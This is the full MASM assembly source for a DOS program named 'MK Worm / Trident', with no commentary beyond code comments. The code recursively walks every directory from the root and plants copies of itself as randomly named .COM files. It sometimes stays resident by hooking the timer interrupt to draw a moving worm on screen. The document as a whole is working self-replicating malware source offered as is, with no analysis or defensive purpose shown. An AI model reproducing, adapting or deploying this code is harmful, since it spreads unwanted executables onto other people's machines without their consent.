2022-08-21 09:07:57 +00:00
|
|
|
|
;**********************************************************************
|
|
|
|
|
;*
|
|
|
|
|
;* MK Worm
|
|
|
|
|
;*
|
|
|
|
|
;* Compile with MASM 4.0
|
|
|
|
|
;*
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
cseg segment
|
|
|
|
|
assume cs:cseg,ds:cseg,es:cseg
|
|
|
|
|
.radix 16
|
|
|
|
|
org 0100
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
wormlen equ 8
|
|
|
|
|
filelen equ eind - begin
|
|
|
|
|
old_dir equ eind
|
|
|
|
|
DTA equ offset eind + 100d
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* Main program
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
begin: call rnd_init
|
|
|
|
|
|
|
|
|
|
mov bp,DTA ;change DTA
|
|
|
|
|
call set_DTA
|
|
|
|
|
|
|
|
|
|
mov ah,47 ;get name of current directory
|
|
|
|
|
cwd
|
|
|
|
|
mov si,offset old_dir
|
|
|
|
|
int 21
|
|
|
|
|
|
|
|
|
|
mov dx,offset root_dir ;goto root
|
|
|
|
|
call chdir
|
|
|
|
|
|
|
|
|
|
call search ;search directory's
|
|
|
|
|
|
|
|
|
|
mov dx,offset old_dir ;goto original directory
|
|
|
|
|
call chdir
|
|
|
|
|
|
|
|
|
|
call rnd_get ;go resident?
|
|
|
|
|
and al,0F
|
|
|
|
|
jz go_res
|
|
|
|
|
|
|
|
|
|
int 20
|
|
|
|
|
|
|
|
|
|
go_res: mov ax,351C ;go resident!
|
|
|
|
|
int 21
|
|
|
|
|
lea si,oldvec
|
|
|
|
|
mov [si],bx
|
|
|
|
|
mov [si+2],es
|
|
|
|
|
lea dx,routine
|
|
|
|
|
mov ax,251C
|
|
|
|
|
int 21
|
|
|
|
|
mov dx,offset eind
|
|
|
|
|
int 27
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* search dir
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
search: mov dx,offset dirname ;search *.*
|
|
|
|
|
mov cx,16
|
|
|
|
|
mov ah,4E
|
|
|
|
|
finddir: int 21
|
|
|
|
|
jc no_dir
|
|
|
|
|
|
|
|
|
|
test byte ptr [bp+15],10 ;directory?
|
|
|
|
|
je next_dir
|
|
|
|
|
cmp byte ptr [bp+1E],'.' ;is it '.' or '..' ?
|
|
|
|
|
je next_dir
|
|
|
|
|
|
|
|
|
|
lea dx,[bp+1E] ;goto directory
|
|
|
|
|
call chdir
|
|
|
|
|
lea bp,[bp+2C] ;change DTA
|
|
|
|
|
call set_DTA
|
|
|
|
|
|
|
|
|
|
call search ;searc directory (recurse!)
|
|
|
|
|
|
|
|
|
|
lea bp,[bp-2C] ;goto previous DAT
|
|
|
|
|
call set_DTA
|
|
|
|
|
mov dx,offset back_dir ;'CD ..'
|
|
|
|
|
call chdir
|
|
|
|
|
|
|
|
|
|
next_dir: mov ah,4F ;find next
|
|
|
|
|
jmp short finddir
|
|
|
|
|
|
|
|
|
|
no_dir: call rnd_get ;copy worm to this directory?
|
|
|
|
|
and al,3
|
|
|
|
|
jnz no_worm
|
|
|
|
|
|
|
|
|
|
mov dx,offset comname ;search *.com
|
|
|
|
|
mov ah,4E
|
|
|
|
|
mov cx,06
|
|
|
|
|
findcom: int 21
|
|
|
|
|
jc makeit
|
|
|
|
|
|
|
|
|
|
mov ax,word ptr [bp-1A] ;worm already there?
|
|
|
|
|
sub ax,filelen
|
|
|
|
|
cmp ax,10
|
|
|
|
|
jnb no_worm
|
|
|
|
|
|
|
|
|
|
mov ah,4F
|
|
|
|
|
jmp short findcom
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
makeit: call makeworm ;copy the worm!
|
|
|
|
|
|
|
|
|
|
no_worm: ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* change dir
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
chdir: mov ah,3Bh
|
|
|
|
|
int 21
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* set DTA
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
set_DTA: mov dx,bp
|
|
|
|
|
mov ah,1A
|
|
|
|
|
int 21
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* create worm
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
makeworm: mov ah,5A ;create unique filename
|
|
|
|
|
xor cx,cx
|
|
|
|
|
mov dx,offset filename
|
|
|
|
|
mov si,offset restname
|
|
|
|
|
mov byte ptr [si],0
|
|
|
|
|
int 21
|
|
|
|
|
xchg ax,bx
|
|
|
|
|
|
|
|
|
|
mov ah,40 ;write worm
|
|
|
|
|
mov cx,filelen
|
|
|
|
|
mov dx,0100
|
|
|
|
|
int 21
|
|
|
|
|
|
|
|
|
|
call rnd_get ;append a few bytes
|
|
|
|
|
and ax,0F
|
|
|
|
|
xchg ax,cx
|
|
|
|
|
mov dx,0100
|
|
|
|
|
mov ah,40
|
|
|
|
|
int 21
|
|
|
|
|
|
|
|
|
|
mov ah,3E ;close file
|
|
|
|
|
int 21
|
|
|
|
|
|
|
|
|
|
lea di,[si+13d] ;copy filename
|
|
|
|
|
push di
|
|
|
|
|
push si
|
|
|
|
|
movsw
|
|
|
|
|
movsw
|
|
|
|
|
movsw
|
|
|
|
|
movsw
|
|
|
|
|
mov si,offset comname+1
|
|
|
|
|
movsw
|
|
|
|
|
movsw
|
|
|
|
|
movsb
|
|
|
|
|
|
|
|
|
|
pop dx ;rename file to .COM
|
|
|
|
|
pop di
|
|
|
|
|
mov ah,56
|
|
|
|
|
int 21
|
|
|
|
|
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* new int 1C handler
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
routine: cli ;save registers
|
|
|
|
|
push ds
|
|
|
|
|
push es
|
|
|
|
|
push ax
|
|
|
|
|
push bx
|
|
|
|
|
push cx
|
|
|
|
|
push dx
|
|
|
|
|
push si
|
|
|
|
|
push di
|
|
|
|
|
|
|
|
|
|
push cs
|
|
|
|
|
push cs
|
|
|
|
|
pop ds
|
|
|
|
|
pop es
|
|
|
|
|
|
|
|
|
|
zzz3: inc byte ptr [count]
|
|
|
|
|
mov al,byte ptr [count]
|
|
|
|
|
test al,1 ;only every 2nd tick
|
|
|
|
|
jz nothing
|
|
|
|
|
cmp al,3 ;don't change direction yet
|
|
|
|
|
jb zzz2
|
|
|
|
|
call rnd_get
|
|
|
|
|
and al,3 ;change direction?
|
|
|
|
|
jnz zzz2
|
|
|
|
|
|
|
|
|
|
zzz0: call dirchange ;change direction!
|
|
|
|
|
mov al,byte ptr [direction]
|
|
|
|
|
xor al,byte ptr [old_direc]
|
|
|
|
|
and al,1
|
|
|
|
|
jz zzz0 ;90 degrees with old direction?
|
|
|
|
|
|
|
|
|
|
zzz2: call getnext ;calculate next position
|
|
|
|
|
call checknext ;does it hit the border?
|
|
|
|
|
jc zzz0
|
|
|
|
|
|
|
|
|
|
mov al,byte ptr [direction] ;save old direction
|
|
|
|
|
mov byte ptr [old_direc],al
|
|
|
|
|
call moveworm
|
|
|
|
|
|
|
|
|
|
mov ah,0F ;ask video mode
|
|
|
|
|
int 10
|
|
|
|
|
cmp al,7
|
|
|
|
|
jz goodmode
|
|
|
|
|
cmp al,4
|
|
|
|
|
jnb nothing
|
|
|
|
|
cmp al,2
|
|
|
|
|
jb nothing
|
|
|
|
|
|
|
|
|
|
goodmode: mov ah,3 ;read cursor position
|
|
|
|
|
int 10
|
|
|
|
|
push dx
|
|
|
|
|
|
|
|
|
|
call printworm
|
|
|
|
|
|
|
|
|
|
pop dx ;restore cursor position
|
|
|
|
|
mov ah,2
|
|
|
|
|
int 10
|
|
|
|
|
|
|
|
|
|
nothing: pop di
|
|
|
|
|
pop si
|
|
|
|
|
pop dx
|
|
|
|
|
pop cx
|
|
|
|
|
pop bx
|
|
|
|
|
pop ax
|
|
|
|
|
pop es
|
|
|
|
|
pop ds
|
|
|
|
|
sti
|
|
|
|
|
|
|
|
|
|
jmp cs:[oldvec] ;original vector
|
|
|
|
|
|
|
|
|
|
oldvec dd 0
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* changes direction of worm
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
dirchange: call rnd_get ;get random numbar
|
|
|
|
|
and al,2
|
|
|
|
|
mov ah,byte ptr [direction] ;change direction 90 degrees
|
|
|
|
|
xor ah,0FF
|
|
|
|
|
and ah,1
|
|
|
|
|
or ah,al
|
|
|
|
|
mov byte ptr [direction],ah
|
|
|
|
|
mov byte ptr [count],0
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* finds next position of the worm
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
getnext: mov al,byte ptr [yval+wormlen]
|
|
|
|
|
mov byte ptr [yval+wormlen+1],al
|
|
|
|
|
mov al,byte ptr [xval+wormlen]
|
|
|
|
|
mov byte ptr [xval+wormlen+1],al
|
|
|
|
|
|
|
|
|
|
mov ah,byte ptr [direction]
|
|
|
|
|
cmp ah,3
|
|
|
|
|
je is_3
|
|
|
|
|
cmp ah,2
|
|
|
|
|
je is_2
|
|
|
|
|
cmp ah,1
|
|
|
|
|
je is_1
|
|
|
|
|
|
|
|
|
|
is_0: mov al,byte ptr [yval+wormlen] ;up
|
|
|
|
|
dec al
|
|
|
|
|
mov byte ptr [yval+wormlen+1],al
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
is_1: mov al,byte ptr [xval+wormlen] ;left
|
|
|
|
|
dec al
|
|
|
|
|
dec al
|
|
|
|
|
mov byte ptr [xval+wormlen+1],al
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
is_2: mov al,byte ptr [yval+wormlen] ;down
|
|
|
|
|
inc al
|
|
|
|
|
mov byte ptr [yval+wormlen+1],al
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
is_3: mov al,byte ptr [xval+wormlen] ;right
|
|
|
|
|
inc al
|
|
|
|
|
inc al
|
|
|
|
|
mov byte ptr [xval+wormlen+1],al
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* checks if worm will hit borders
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
checknext: mov al,byte ptr [xval+wormlen+1]
|
|
|
|
|
cmp al,0
|
|
|
|
|
jl fout
|
|
|
|
|
cmp al,80d
|
|
|
|
|
jae fout
|
|
|
|
|
|
|
|
|
|
mov al,byte ptr [yval+wormlen+1]
|
|
|
|
|
cmp al,0
|
|
|
|
|
jl fout
|
|
|
|
|
cmp al,25d
|
|
|
|
|
jae fout
|
|
|
|
|
|
|
|
|
|
clc
|
|
|
|
|
ret
|
|
|
|
|
fout: stc
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* move the worm
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
moveworm: mov si,offset xval+1
|
|
|
|
|
lea di,[si-1]
|
|
|
|
|
mov cx,wormlen+1
|
|
|
|
|
rep movsb
|
|
|
|
|
mov si,offset yval+1
|
|
|
|
|
lea di,[si-1]
|
|
|
|
|
mov cx,wormlen+1
|
|
|
|
|
rep movsb
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* print the worm on screen
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
printworm: mov si,offset xval
|
|
|
|
|
call move
|
|
|
|
|
mov al,20 ;print space on rear end
|
|
|
|
|
call print
|
|
|
|
|
mov cx,wormlen-1
|
|
|
|
|
lup: call move
|
|
|
|
|
mov al,0F ;print dots
|
|
|
|
|
call print
|
|
|
|
|
loop lup
|
|
|
|
|
call move
|
|
|
|
|
mov al,2 ;print head of worm
|
|
|
|
|
call print
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* move the cursor
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
move: mov ah,[si+wormlen+2]
|
|
|
|
|
lodsb
|
|
|
|
|
xchg ax,dx
|
|
|
|
|
mov ah,02
|
|
|
|
|
int 10
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* print a character
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
print: push cx
|
|
|
|
|
mov ah,09
|
|
|
|
|
mov bl,0C
|
|
|
|
|
mov cx,1
|
|
|
|
|
int 10
|
|
|
|
|
pop cx
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;****************************************************************************
|
|
|
|
|
;* random number generator
|
|
|
|
|
;****************************************************************************
|
|
|
|
|
|
|
|
|
|
rnd_init: push cx
|
|
|
|
|
call rnd_init0
|
|
|
|
|
and ax,000F
|
|
|
|
|
inc ax
|
|
|
|
|
xchg ax,cx
|
|
|
|
|
random_lup: call rnd_get
|
|
|
|
|
loop random_lup
|
|
|
|
|
pop cx
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
rnd_init0: push dx ;initialize generator
|
|
|
|
|
push cx
|
|
|
|
|
mov ah,2C
|
|
|
|
|
int 21
|
|
|
|
|
in al,40
|
|
|
|
|
mov ah,al
|
|
|
|
|
in al,40
|
|
|
|
|
xor ax,cx
|
|
|
|
|
xor dx,ax
|
|
|
|
|
jmp short move_rnd
|
|
|
|
|
|
|
|
|
|
rnd_get: push dx ;calculate a random number
|
|
|
|
|
push cx
|
|
|
|
|
push bx
|
|
|
|
|
mov ax,0
|
|
|
|
|
mov dx,0
|
|
|
|
|
mov cx,7
|
|
|
|
|
rnd_lup: shl ax,1
|
|
|
|
|
rcl dx,1
|
|
|
|
|
mov bl,al
|
|
|
|
|
xor bl,dh
|
|
|
|
|
jns rnd_l2
|
|
|
|
|
inc al
|
|
|
|
|
rnd_l2: loop rnd_lup
|
|
|
|
|
pop bx
|
|
|
|
|
|
|
|
|
|
move_rnd: mov word ptr cs:[rnd_get+4],ax
|
|
|
|
|
mov word ptr cs:[rnd_get+7],dx
|
|
|
|
|
mov al,dl
|
|
|
|
|
pop cx
|
|
|
|
|
pop dx
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
;* data
|
|
|
|
|
;**********************************************************************
|
|
|
|
|
|
|
|
|
|
db ' MK Worm / Trident '
|
|
|
|
|
root_dir db '\',0
|
|
|
|
|
back_dir db '..',0
|
|
|
|
|
dirname db '*.*',0
|
|
|
|
|
|
|
|
|
|
comname db '*.COM',0
|
|
|
|
|
filename db '.\'
|
|
|
|
|
restname db (26d) dup (?)
|
|
|
|
|
|
|
|
|
|
xval db 32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0
|
|
|
|
|
yval db (wormlen+2) dup (12d)
|
|
|
|
|
|
|
|
|
|
direction db 3
|
|
|
|
|
old_direc db 3
|
|
|
|
|
count db 0
|
|
|
|
|
|
|
|
|
|
eind:
|
|
|
|
|
|
|
|
|
|
cseg ends
|
|
|
|
|
end begin
|
|
|
|
|
|
2021-01-12 23:49:21 +00:00
|
|
|
|
|